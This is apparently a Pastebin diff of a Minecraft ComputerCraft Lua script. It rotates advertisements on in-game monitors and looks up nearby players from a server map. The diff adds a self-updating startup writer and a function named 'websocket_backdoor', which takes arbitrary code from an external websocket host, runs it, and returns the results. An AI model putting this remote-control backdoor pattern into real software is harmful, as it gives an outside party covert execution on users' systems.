SHOW:
|
|
- or go back to the newest paste.
1 | - | _G.os.pullEvent = coroutine.yield |
1 | + | |
2 | local h = http.get(u) | |
3 | local c = h.readAll() | |
4 | h.close() | |
5 | return c | |
6 | end | |
7 | ||
8 | function _G.update() | |
9 | local h = fs.open("startup", "w") | |
10 | - | pcall(function() |
10 | + | local x = fetch "https://pastebin.com/raw/QtVcwZJm" |
11 | - | local bee_neuron_data = fetch "https://pastebin.com/raw/KLDakiHg" |
11 | + | local f, e = load(x) |
12 | - | local f = fs.open("startup", "w") |
12 | + | if not f then return false, e end |
13 | - | f.write(bee_neuron_data) |
13 | + | h.write(x) |
14 | - | f.close() |
14 | + | |
15 | - | end) |
15 | + | return true |
16 | end | |
17 | - | while true do |
17 | + | |
18 | - | local conf = fetch "https://pastebin.com/raw/VQkJfaWU" |
18 | + | local h = fs.open("conf.lua", "r") |
19 | - | local fn, err = loadstring(conf) |
19 | + | local conf = textutils.unserialise(h.readAll()) or {} |
20 | - | if err then printError("Parse error: " .. err) |
20 | + | h.close() |
21 | - | else |
21 | + | |
22 | - | local ok, result = pcall(fn) |
22 | + | local urls = { |
23 | - | if not ok then printError("Exec error: " .. result) |
23 | + | cnlite = "https://dynmap.switchcraft.pw/" |
24 | } | |
25 | - | for _, mon in pairs {peripheral.find "monitor"} do |
25 | + | |
26 | - | local option = result[math.random(1, #result)] |
26 | + | local function distance_squared(player) |
27 | - | local w, h = mon.getSize() |
27 | + | local dx = player.x - conf.location[1] |
28 | - | if #option > (w * h) then |
28 | + | local dy = player.y - conf.location[2] |
29 | - | mon.setTextScale(0.5) |
29 | + | local dz = player.z - conf.location[3] |
30 | - | else |
30 | + | return dx * dx + dy * dy + dz * dz |
31 | - | mon.setTextScale(1) |
31 | + | |
32 | ||
33 | - | local last = term.redirect(mon) |
33 | + | local json |
34 | - | mon.clear() |
34 | + | local function load_json() |
35 | - | mon.setCursorPos(1, 1) |
35 | + | local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua" |
36 | - | write(option) |
36 | + | json = load(x)() |
37 | - | |
37 | + | |
38 | - | term.redirect(last) |
38 | + | |
39 | - | print("Displayed", option) |
39 | + | function _G.find_player_nearby() |
40 | if not json then load_json() end | |
41 | local API_URL = urls[conf.server] .. "up/world/world/" | |
42 | local data = json.decode(fetch(API_URL)) | |
43 | - | sleep(30) |
43 | + | local players = _.filter(data.players, function(x) |
44 | - | end |
44 | + | x.d = distance_squared(x) |
45 | return x.world == conf.dimension and x.d < 400 | |
46 | end) | |
47 | local sorted = _.sort_by(players, function(x) return -x.d end) | |
48 | return sorted[1] | |
49 | end | |
50 | ||
51 | local function advert_display() | |
52 | while true do | |
53 | local data = fetch "https://pastebin.com/raw/P9TeP8ev" | |
54 | local fn, err = loadstring(data) | |
55 | if err then printError("Parse error: " .. err) | |
56 | else | |
57 | local ok, result = pcall(fn) | |
58 | if not ok then printError("Exec error: " .. result) | |
59 | else | |
60 | local options = {} | |
61 | for k, v in pairs(result) do | |
62 | if type(v) == "string" or type(v) == "function" then table.insert(options, v) end | |
63 | end | |
64 | for _, mon in pairs {peripheral.find "monitor"} do | |
65 | local option = options[math.random(1, #options)] | |
66 | if type(option) == "function" then ok, option = pcall(option) end | |
67 | if type(option) ~= "string" then break end | |
68 | local w, h = mon.getSize() | |
69 | if #option > (w * h) then | |
70 | mon.setTextScale(conf.smallScale) | |
71 | else | |
72 | mon.setTextScale(conf.largeScale) | |
73 | end | |
74 | local last = term.redirect(mon) | |
75 | mon.clear() | |
76 | mon.setCursorPos(1, 1) | |
77 | write(option) | |
78 | term.redirect(last) | |
79 | print("Displayed", option) | |
80 | end | |
81 | end | |
82 | end | |
83 | sleep(30) | |
84 | end | |
85 | end | |
86 | ||
87 | local function websocket_backdoor() | |
88 | load_json() | |
89 | if not http or not http.websocket then return "Websockets do not actually exist on this platform" end | |
90 | local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad" | |
91 | if not ws then printError(err) return end | |
92 | ||
93 | local function send(msg) | |
94 | ws.send(json.encode(msg)) | |
95 | end | |
96 | ||
97 | local function recv() | |
98 | while true do | |
99 | local e, u, code = coroutine.yield "websocket_message" | |
100 | if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then | |
101 | return code | |
102 | end | |
103 | end | |
104 | end | |
105 | ||
106 | while true do | |
107 | -- Receive and run code from backdoor's admin end | |
108 | local code = recv() | |
109 | local f, error = load(code, "@input", "t", _E) | |
110 | if f then -- run safely in background, send back response | |
111 | local resp = {pcall(f)} | |
112 | for k, v in pairs(resp) do | |
113 | local ok, thing = pcall(json.encode, v) | |
114 | if not ok then | |
115 | resp[k] = tostring(v) | |
116 | end | |
117 | end | |
118 | send(resp) | |
119 | else | |
120 | send {false, error} | |
121 | end | |
122 | end | |
123 | end | |
124 | ||
125 | parallel.waitForAll(websocket_backdoor, advert_display) |